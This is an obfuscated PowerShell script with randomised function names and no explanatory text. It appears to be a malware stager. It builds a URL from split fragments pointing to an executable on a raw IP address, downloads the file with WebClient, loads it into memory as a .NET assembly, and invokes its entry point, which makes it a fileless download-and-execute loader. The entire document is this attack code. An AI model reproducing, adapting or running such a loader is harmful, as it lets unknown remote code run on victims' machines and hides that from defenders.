function HxRnF-MwVy {
Add-Type -AssemblyName System.Net
return New-Object System.Net.WebClient
function ZqLpS-KeWd {
$dU = @('http', '://', '88', '.', '214', '.', '48', '.', '26', '/tpnl98/', 'ret.exe')
return ($dU -join '')
function BlKqD-XoVi {
param([string]$eB)
$tM = HxRnF-MwVy
return $tM.DownloadData($eB)
function JyEzC-QhTf {
param([byte[]]$uO)
return [System.Reflection.Assembly]::Load($uO)
function VrLnx-TyJp {
param([System.Reflection.Assembly]$sV)
$aH = $sV.EntryPoint
if ($aH) {
$aH.Invoke($null, @())
$nK = ZqLpS-KeWd
$fB = BlKqD-XoVi -eB $nK
$gW = JyEzC-QhTf -uO $fB
VrLnx-TyJp -sV $gW